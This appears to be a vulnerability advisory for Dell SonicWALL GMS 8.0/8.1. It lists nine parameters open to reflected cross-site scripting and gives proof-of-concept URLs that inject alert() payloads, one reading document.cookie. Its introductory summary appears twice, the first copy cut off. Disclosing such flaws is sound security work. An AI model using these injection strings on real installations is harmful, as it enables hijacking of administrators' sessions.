### Summary Provide your organization, distributed enterprise or managed service offering with an intuitive, powerful way to rapidly deploy and centrally manage SonicWall solutions, with SonicWall GMS. Get more value from your firewall, secure remote access, anti-spam, and backup and recovery solutions with enhanced network security monitoring and robust network security reporting. By deploying GMS in an enterprise, you can minimize administrative overhead by streamlining security appliance deployment and policy management. ### Description Dell SonicWALL GMS suffers from multiple reflected XSS vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. ### Vendor Dell Inc. - https://www.sonicwall.com/products/sonicwall-gms/ ### Affected Version * 8.1 * 8.0 SP1 Build 8048.1410 * Flow...
### Summary Provide your organization, distributed enterprise or managed service offering with an intuitive, powerful way to rapidly deploy and centrally manage SonicWall solutions, with SonicWall GMS. Get more value from your firewall, secure remote access, anti-spam, and backup and recovery solutions with enhanced network security monitoring and robust network security reporting. By deploying GMS in an enterprise, you can minimize administrative overhead by streamlining security appliance deployment and policy management. ### Description Dell SonicWALL GMS suffers from multiple reflected XSS vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. ### Vendor Dell Inc. - https://www.sonicwall.com/products/sonicwall-gms/ ### Affected Version * 8.1 * 8.0 SP1 Build 8048.1410 * Flow Server Virtual Appliance ### Tested On * SonicWALL * MySQL/5.0.96-community-nt * Apache-Coyote/1.1 * Apache Tomcat 6.0.41 * Vendor Status ### detail Reflected Cross-Site Scripting (XSS) via several parameters: - typeOfUnits (GET) - level (GET) - node_id (GET) - node_name (GET) - reportId (GET) - reportName (GET) - unitType (GET) - help_url (GET) - screenID (GET) ### PoC: ``` http://127.0.0.1/sgms/panelManager?panelidz=0,4&level=1&typeOfUnits=11d0a4%27-alert(%27XSS%27)-%27f313a&node_name=Admin%20Overview&node_id=0 http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=170268%27%3balert(document.cookie)%2f%2f784&node_id=0&unused=&help_url=&node_name=Admin%20Overview&unitType=1&reportId=37011&reportName=Data%20Usage%20Summary http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=1&node_id=055756%27%3balert(1)%2f%2f153&unused=&help_url=&node_name=Admin%20Overview&unitType=1&reportId=37011&reportName=Data%20Usage%20Summary http://127.0.0.1/sgms/panelManager?panelidz=0,4&level=1&typeOfUnits=1&node_name=Admin%20Overview06654'-alert(1)-'426bf&node_id=0 http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=1&node_id=0&unused=&help_url=&node_name=Admin%20Overview&unitType=1&reportId=3701183611'%3balert(1)%2f%2f644&reportName=Data%20Usage%20Summary http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=1&node_id=0&unused=&help_url=&node_name=Admin%20Overview&unitType=1&reportId=37011&reportName=Data%20Usage%20Summary52987'%3balert(1)%2f%2f284 http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=1&node_id=0&unused=&help_url=&node_name=Admin%20Overview&unitType=151708'%3balert(1)%2f%2f623&reportId=37011&reportName=Data%20Usage%20Summary http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=1&node_id=0&unused=&help_url=99367'%3balert(1)%2f%2f736&node_name=Admin%20Overview&unitType=1&reportId=37011&reportName=Data%20Usage%20Summary http://127.0.0.1/sgms/contents.jsp?screenID=';alert(251)// ```
